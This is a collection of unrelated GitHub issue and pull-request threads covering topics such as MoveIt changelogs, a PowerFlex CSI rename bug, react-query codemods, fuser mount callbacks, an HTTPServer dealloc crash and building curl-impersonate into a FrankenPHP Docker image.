  * Add planning_pipeline_id to MotionSequence action and service
  * check for empty request
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Improve readability of comment
* Contributors: David V. Lu!!, Felix von Drigalski, Gaël Écorchard, Henning Kayser, Parthasarathy Bana, Robert Haschke, Sebastian Jahr, Sencer Yazıcı, aa-tom, cambel, predystopic-dev, pvanlaar
* [feature] Add Pilz industrial motion planner (#1893 <https://github.com/tylerjw/moveit/issues/1893>)
* Contributors: Pilz GmbH and Co. KG, Christian Henkel, Immanuel Martini, Joachim Schleicher, rfeistenauer

pilz_industrial_motion_planner_testutils
* Convert to modern include guard #882 <https://github.com/ros-planning/moveit2/issues/882> (#891 <https://github.com/ros-planning/moveit2/issues/891>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* PILZ: Build fixups, silence warnings, fix unit tests
* PILZ: Migrate and Restructure test directory
* PILZ: Migrate planner and testutils packages to ROS 2
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: David V. Lu!!, Henning Kayser, Robert Haschke, Sebastian Jahr, predystopic-dev, pvanlaar, Pilz GmbH and Co. KG, Christian Henkel, Immanuel Martini, Joachim Schleicher, rfeistenauer

That's a lot of changes for a single patch release!

It has been longer than it probably should have been since we've bloomed.


fix switch type definition

When declaring an empty attribute like <$ switch /> it is treated as <$ switch={ true } />. Regarding this PR: we could also explicitly declare it as true instead of boolean?

Thank you.


[BUG]: SDC Rename

Bug Description
When installing the PowerFlex CSI with the CSM Operator 1.3 and when enabling the sdc rename
    # X_CSI_RENAME_SDC_ENABLED: Enable/Disable rename of SDC
    # Allowed values:
    #   true: enable renaming
    #   false: disable renaming
    # Default value: false
    - name: X_CSI_RENAME_SDC_ENABLED
      value: "true"

     And specifically where using multiple PowerFlex systems, only one system registers the SDC's being named that of their respective worker node.

     Here is the secret format for both

username: "admin"
password: "redacted"
systemID: "098cb5redacted"
endpoint: "https://redacted"
skipCertificateValidation: true
isDefault: true
mdm: "<IP_ADDRESS>,<IP_ADDRESS>"

username: "admin"
password: "redacted"
systemID: "d5a63e7redacted"
endpoint: "https://redacted"
skipCertificateValidation: true
isDefault: false
mdm: "<IP_ADDRESS>,<IP_ADDRESS>"
Is it necessary to have the system names variable?

Logs
None
Screenshots
No response
Additional Environment Information
No response
Steps to Reproduce
n/a
Expected Behavior
Expected to see the SDCs renamed by their worker node name from each powerflex system. Only one system shows the names of their respective SDC's successfully updated.
CSM Driver(s)
CSM 1.3 from Operator Hub on OpenShift 4.12
Installation Type
Operator
Container Storage Modules Enabled
No response
Container Orchestrator
n/a
Operating System
RHCOS

Re-attempted to deploy with an updated secret that includes the allSystemNames - same result as outlined in initial bug

@VamsiSiddu-7 Can you create a defect for this internally and assign it to the team? Thanks.

/sync

Hi @OA72280, can you please provide node pod logs from all the worker nodes for the driver container? As per the implementation, renameSDC method iterates over the connectedSystemID list which contains all the systemID's for renaming. It would be clear from the logs whether the systemID's are fetched correctly or not.
Ref: https://github.com/dell/csi-powerflex/blob/main/service/node.go#L573
Thanks.

Hi @OA72280, can you please provide the required logs for this? Thank you.

The environment is no longer available / so the description is all that is
available in what occurred
Thank you
On Thu, Nov 2, 2023 at 1:01 AM Surya Gupta @.***> wrote:

Hi @OA72280 https://github.com/OA72280, can you please provide the
required logs for this? Thank you.
—
Reply to this email directly, view it on GitHub
https://github.com/dell/csm/issues/1020#issuecomment-1790071553, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AFRJVRSTOAFIFJNU4ZP6KR3YCMSK3AVCNFSM6AAAAAA6PTMNIKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTOOJQGA3TCNJVGM
.
You are receiving this because you were mentioned.Message ID:
@.***>

@OA72280 Thanks for the response. We tested in one of our environment and found that the SDC was getting renamed for both of the systems configured that is why we wanted to have a look at the logs. If you get hold of another environment, please give it a try and provide us the logs if similar issue persist. Thank you.


Slack Integration

Will be great to get a Slack notification when an Agent ends its execution.

Sure. In the next version if we allow run the Agents Async using different service we are going to integrate multiples notification system and of course Slack is one of them.


Version 4 codemods

closes #2983

@TkDodo please note this draft still doesn't support template literals. I can add support for template literals as well if you wish. :)

I don't see the codemod tests being picked up by jest when doing npm test ...

It should be OK now.
80adc1b7ed7393cd982a71c9c79367dd59494e81

@TkDodo could you take a look at the test cases, please? I think all scenarios are covered, but maybe I'm mistaken.

@balazsmatepetro I think we should also run the codemod on the examples, because we need them to be updated as well. We can do this in this PR I'd say.
Also, please add documentation on how to apply this codemod to migration guide

in the PR pipeline, I can see lots of log warnings:

It should be okay now: c5192a4e855478cd1718b96d9a48eaf9d2f4cd9d

I think we should also run the codemod on the examples, because we need them to be updated as well. We can do this in this PR I'd say.

Done: 787f7d98a98a981e08f3fbf17c1ca538a50f4a99

Also, please add documentation on how to apply this codemod to migration guide

Done: a672f6484cba8a55a1645a2f9ff13cbcac743175 and I accepted your suggestion as well. :)

:tada: This PR is included in version 4.0.0-alpha.13 :tada:
The release is available on:

npm package (@alpha dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 4.0.0-beta.1 :tada:
The release is available on:

npm package (@beta dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

@all-contributors
please add @balazsmatepetro for code.

@all-contributors please add @balazsmatepetro for code.

@all-contributors please add @balazsmatepetro for code.

@all-contributors please add @balazsmatepetro for code.


Replace manually?

how do i just replace a icon with my own icon?
i just want to replace [6] [234] with a transparent icon

Currently, it is not possible to change icons to DLLs.
But, it is a feature that I plan to implement.


RFC: Callback before entering the event loop

I am sending a filesystem process into the background with the 'daemonize' crate. To make this somewhat reliable/scriptable I would like if the parent process returns when the mount is established (or failed thereof)
Imagine some shell script like:
./myfilesystem mymountpoint/ && ls mymountpoint/

Now there is some chance of a race between 'myfilesystem' forking into the background and starting the mount and the execution of the 'ls' command. Moreover there is no way to tell if the mounting was successful by the exit code.
I am already establishing an ipc channel from background child to the parent to pass information/errors up. All whats left is some way the 'fuser' lib can notify back that a mount was successful, after establishing an Session but right before entering the event loop.
Similar to 'mount2' i would propose the following API:
pub fn mount_with_callback<FS: Filesystem, P: AsRef<Path>, F: FnOnce(&io::Result<Session>) + Copy>(
    filesystem: FS,
    mountpoint: P,
    options: &[MountOption],
    callback: F,
) -> io::Result<()> {
    check_option_conflicts(options)?;
    Session::new(filesystem, mountpoint.as_ref(), options)
        .or_else(|e| { let e = Err(e); callback(&e); e})
        .and_then(|ok| { let ok = Ok(ok); callback(&ok); ok})
        .and_then(|mut se| callback(&se); se.run())
}

The callback can then inspect the error or the session and take proper action (sending the status over the IPC channel).
This .or_else().and_then() chaining looks a bit ugly for now (could be written more pretty?), one may consider to implement a .inspect() for Result (there is an existing crate for that, but that one only passes the Ok() part).

I believe Filesystem::init already covers this, and I think it will be more reliable than the interface you proposed, because it's called only after the event loop has started, rather than right before se.run() is entered.
Let me know if that doesn't work

Ah, good catch,  I'll give it a try tomorrow.
It may be a bit tricky to get a callback closure into the init, possibly has to be passed to my filesystems constructor and be stored there, lingering there forever after the once-use.
Either way I just implemented what I proposed above as proof or concept: https://github.com/cehteh/fuser/commit/4cc0df882279ef68d15ecfad2e7d227ba8516121
Works for me, but I don't make a PR before i see if the ::init thing works.

Got it working, but its a bit tricky :)

My draft PR #184 addresses this. mounting a filesystem is now separate from actually running the mainloop.


No License

Hello Gizem,
sorry that I write here I have not found another option.
I would like to use parts of your shopping app but there is no license. I have already downloaded the code and run it looks great.
Is it possible to use the code or under which license do you want to do the whole thing?
Thank you very much
Best
Michael

Hello,
I've just added license file. You can use it!
Thanks!

Thank you :-)
Wish you a happy new Year


New filter sidebar [For Herokuapp test] [DO NOT MERGE]

Do not merge. Opened this only to test on heroku.

@danielhers Tests are not passing because of test_bounding_box_query
Once the filter bar is ready I'll update the test accordingly and throughly
Can we disable this test for now?

You can disable it by removing it from .travis.yml.
Just remember to add it back later.
On Sat, Aug 8, 2015, 15:44 Omer Hamerman<EMAIL_ADDRESS>wrote:

@danielhers https://github.com/danielhers Tests are not passing because
of test_bounding_box_query
Once the filter bar is ready I'll update the test accordingly and throughly
Can we disable this test for now?
—
Reply to this email directly or view it on GitHub
https://github.com/hasadna/anyway/pull/412#issuecomment-128974427.

I'm ready to push this forward to dev.
Me and @LironRS will continue working on it when it's in staging level.

I think the tour doesn't work properly with the new filters. Either fix it or disable the problematic stages until it's fixed, opening a new issue.


As a user, I can add variant names with in both upper and lower case

so that I can live conveniently.

#108


Wallchart etc. should use latest entry for "Introduction to Scouting", "Introduction to Section", " etc.

It is possible for many "Intro to Section", "Intro to Scoutsintro to section, milestones etc.to exist

Duplicated by #61


Fix same site being null

Part of the fix for https://github.com/wso2/product-is/issues/11230
Purpose
Avoid NPE and set default to Strict when the samesite cookie is not available.

PR builder started
Link: https://github.com/wso2/product-is/actions/runs/553780824

PR builder completed
Link: https://github.com/wso2/product-is/actions/runs/553780824
Status: success


Panel requests file on startup

The panel now requests for selecting a file from the filesystem upon startup. The vscode.window function for selecting a file is asynchronous. I implemented saving the fsPath as a private member of the panel.
I left the return of the createWebviewPanel outside of the showOpenDialog thenable because I figured that we could let the default, empty panel appear and use vscode messages to sent to Omega Edit and populate the data.

+1 LGTM, for squash merge.


Issues with manual mod versioning

Just took me two hours tracking down a stupid issue that arose from people changing the download link without bumping the version number.  sarbian/ModularFlightIntegrator#3 for reference.  The offending file is ModularFlightIntegrator-1.0.ckan  I don't know your policy on dealing with this type of thing, but I'd like to make sure people don't get bit by this as well.

The MD5 hash for the most recently available build is 691E2453800BB15DB4FF2977547B971F while the version I have (both installed and in CKAN's cache) is CC14842C90223E51F149148792035150.

The above PR should resolve this by offering an upgrade path for those stuck on an older version

Works for me.


How to close all modals on route change?

Is there a way to close a modal on route change app wide?
Many of my modals contain links that go to different routes. When a route is changed while a modal is opened, the modal backdrop does not disappear.

You could add a subscription on the route location and use MaterializeActions to trigger closing the dialog. You could also use a shared service and calling it to perform the dialog close.


Support to validators group

Hi! I'd like to know the possibility to create something like:
...
const myValidatorGroup = {
    isInt: true,
    notEmpty: true
}
...

and after that use it as a validator:
...
'field': {
    in: 'body',
    myValidatorGroup: true,
    errorMessage: 'My error message'
}
...

Thanks everyone.

Since I gave some thought on this idea and found no reason to add it, I'm discarding it for now.
Feel free to keep commenting to show your motivations (I'll give a look, 4realz!).


HTTPServer: -Dealloc causes memory corruption

Hi Robbie,
Summary:
The call to -stop:NO in -dealloc of HTTPServer.m can produce memory corruption because there is no check to see if the server has already been stopped.
Steps to Reproduce:

Spin up an instance of HTTPServer as normal.
Call [myServerInstance stop:NO]
Call [myServerInstance release]
Set myServerInstance = nil

(steps 3 and 4 assume you're working in a manual reference counting environment.) You will need to repeat this process several times because the issue only manifests sometimes.
What's Going On:
We call -stop on our server instance just before releasing it, which triggers the -dealloc method of HTTPServer. That dealloc method calls -stop again, regardless of whether the server is running or not.
About 4 out of 5 times, there is no problem. But approximately 1 out of 5 times, ARC produces a warning that informs you, "memory address X is supposed to hold address 0x000012345 but instead holds address 0x0000987665. This is likely incorrect usage of objc_store_weak() or objc_load_weak(), break on objc_weak_error to debug."
Breaking on that symbol shows that `[HTTPServer dealloc] is the last method in the stack trace before the warning is produced.
How I Fixed It:
I removed my own call to [myServerInstance stop:NO] and just released and nilled the instance instead. -dealloc still calls -stop:NO, but that method is now only called once. After doing this, I am no longer able to produce the ARC warning, no matter how many times I stop and recreate the server instance.
Suggested Permanent Fix:
The -dealloc method should really only call -stop if the server is running.

Actually, a more robust solution would be to have -stop return immediately if the server isn't running. That way, if the method is called more than once from anywhere, this problem is avoided.

Nice bug report! Want to submit a PR?

Mother of god...I thought this project was dead and buried. I just filed the report to procrastinate on customer support emails.

Hahahahahaha. I mean, it is, but plenty of people are still using it.

Actually the problem is the underlying NSNetService, see http://www.openradar.me/28943305 for more information. The workaround is to nil out the delegate before releasing. In HTTPServer.m this is in 'unpublishBonjour'. The bonjourBlock is called synchronously so this should be good.
[[self class] performBonjourBlock:bonjourBlock];
[netService setDelegate:nil]; // added this line to workaround apples weaksauce
netService = nil;

Thanks!


improve logging around broker/NetworkClient connectivity

More detailed description of your change,
if necessary. The PR title and PR message become
the squashed commit message, so use a separate
comment to ping reviewers.
Summary of testing strategy (including rationale)
for the feature or bug fix. Unit and/or integration
tests are expected for any behaviour change and
system tests should be considered for larger changes.
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

improve logging around broker/NetworkClient connectivity Committed Checked.

checked the error login results


Delete everything in my onedrive folder !!!

I run .bat but there exist some error. Your code couldn't recognize the path name and save all temporary files in my onedrive root path. Then all my other file was deleted along with the temporary files. It caused me huge trouble! Please fix it.

I can't reproduce the defect under my environment. Could you provide the screen output for the issue? The .bat script will remove the temporary pdfbuild folder at the end. But it's quite weird that such newly created folder is redirected to your onedrive root path.
Sorry for the inconvenience caused. I'm trying to improve the robustness of the script by adding sanity check to avoid similar issue.

I have removed the crappy build.bat script in the commit 6c6994be9153f9221b8cea4e3bc9db545120f5b9. This is mainly due to the fact that Windows 10 already provides built-in Linux Bash Shell. Therefore, it's recommended to run the build.sh script for compilation, which is much more robust.


Enhancements of artemis date pipe

Checklist

[x] I tested all changes and all related features with different users (student, tutor, instructor, admin) on the test server https://artemistest.ase.in.tum.de.
[x] Client: I added multiple integration tests (Jest) related to the features
[x] Client: I documented the TypeScript code using JSDoc style.
[x] Client: I translated all the newly inserted strings into German and English

Motivation and Context
The date formats introduced in this PR still not completely comply with date / time formats.
Description

[x] Hours, minutes and seconds will be displayed with a leading zero
[x] I've removed the long-time format. Time will always be displayed in the form of 09:05:02.
Justification: the current format (3:45 PM) might be confusing to non-native english speakers (AM vs. PM) and it does not provide any advantage over the new format (15:45).
[x] I've tested that for an undefined / null date object always an empty string will be returned.
[x] I've adjusted the date format on the course overview page.
[x] I've changed the short date format to 2019-03-18 (en locale) and 18.03.2019 (de locale)

format
de
en

short
17.12.2019 15:03
2019-12-17 15:03

long
17. Dez. 2019 15:03
Dec 17, 2019 15:03

short-date
17.12.2019
2019-12-17

long-date
17. Dez. 2019
Dec 17, 2019

time
15:03
15:03

Steps for Testing
Simply log in and inspect places where dates are shown. Especially in the course overview (see Screenshot).
Screenshot

I thought we agree to have "May 24, 2020 - May 30, 2020" in the course overview?

@krusche @sascha11110 The screenshots don't match the actual view. This date format is indeed used in the course overview!


Toggle button code might be obsolete, Keep or Remove before Beta Release

This code is not being used at the moment, nor before the Beta release. Most likely this button will not be worked on but until the A11Y process is in motion.
The resulting button currently doesn't receive any focus and can't be toggled with the keyboard.
Button will have to be refactored at a later time in this ticket: GH-2216
Risk: Even though it's not implement anywhere in HTML or TS files, it exist in the CSS file and contributors may find it and use it even if it's unfinished.

In my opinion if it's not in use or going to be used in the foreseeable future I would remove it. Just make sure to keep a backup 😉

We'll proceed with removal as @tobi-or-not-tobi mentioned in Slack he's for removing as well.


Default display name format changed from version 4.x.x to 5.x.x

Hello everyone,
we encountered an issue when migrating from 4.2.0 to 5.x.x due to changes in the display name format. The new plugin configuration introduces the "Enable New Data Format" setting, which can be switched on or off.
Behavior:

Enable New Data Format = unchecked:

Display name changes from <AF-Attribute-Name> to <AF-Element><pipe><AF-Attribute-Name>.
Example:

In version 4.2.0: pressure
In version 5.x.x: pump|pressure

Enable New Data Format = checked:

Display name changes from <AF-Attribute-Name> to <AF-Attribute-Name> {element=<AF-Element> name=<AF-Attribute-Name> type=...}.
Example:

In version 4.2.0: pressure
In version 5.x.x: pressure {element=pump name=pressure type=...}

Issues:
The following problems occurred when testing both options:

Field overrides by name in panel configuration no longer work as expected.
Referencing fields in standard panel transformations fails.
Series names changed in histograms, legends, ...
...

Expected Behavior:
We expected Enable New Data Format=unchecked to keep the exact display name format from version 4.2.0 for backward compatibility.
Was it intentional that the unchecked option differs from the old format? If not, can this be fixed in a future patch?

Dear @coderReview   I'd be really grateful if you could take a look. Thank you so much in advance!


Support curl-impersonate

Describe you feature request
Is there a plan to support curl-impersonate https://github.com/lwthiker/curl-impersonate/tree/main ?
I managed to run manually php commands with curl impersonate, but not with frankenphp

I don't see how it's related to FrankenPHP. If it works with a standard PHP build, it should work with FrankenPHP as well. If it's not the case, could you provide a reproducer (if possible a minimal Docker image) and the related logs?
Thanks.

Thanks @dunglas for fast response :). It might not be improvement, I thought so it was, but more like "I dont know how to implement it with frankenphp".
This is instruction how to make it work with PHP
https://github.com/lwthiker/curl-impersonate/blob/main/docs/03_LIBCURL_IMPERSONATE_PHP.md
And as I take frankenphp in dockerfile
FROM dunglas/frankenphp:1-php8.3 AS php_upstream
I managed to make it work with php with
RUN git clone https://github.com/lwthiker/curl-impersonate.git
WORKDIR curl-impersonate
RUN mkdir build
WORKDIR build
RUN ../configure
RUN make chrome-build
RUN make chrome-install
RUN ldconfig
WORKDIR /app/curl-impersonate
RUN rm -Rf build

RUN patchelf --set-soname libcurl.so /usr/local/lib/libcurl-impersonate-chrome.so
RUN echo "/usr/local/lib/libcurl-impersonate-chrome.so" > /etc/ld.so.preload

And when I run
php -r 'print_r(curl_version());'

It gives me
[ssl_version] => BoringSSL

But when I make http request which is handled by frankenphp it does not return info via libcurl-impersonate, but via original libcurl

Can you please share a dockerfile that reproduces the issue and shows what you're trying to do? Trying to piece together one from your post is error-prone.
Is this a docker file that reproduces the issue?
FROM dunglas/frankenphp:1-php8.3 AS php_upstream
RUN git clone https://github.com/lwthiker/curl-impersonate.git
WORKDIR curl-impersonate
RUN mkdir build
WORKDIR build
RUN ../configure
RUN make chrome-build
RUN make chrome-install
RUN ldconfig
WORKDIR /app/curl-impersonate
RUN rm -Rf build

RUN patchelf --set-soname libcurl.so /usr/local/lib/libcurl-impersonate-chrome.so
RUN echo "/usr/local/lib/libcurl-impersonate-chrome.so" > /etc/ld.so.preload
RUN php -r 'print_r(curl_version());'
RUN frankenphp # some script?

That's surprising that you need a full rebuild.
Could you try if this cleaning the ldconfig cache works instead?
rm /etc/ld.so.cache
ldconfig

That worked, thank you :).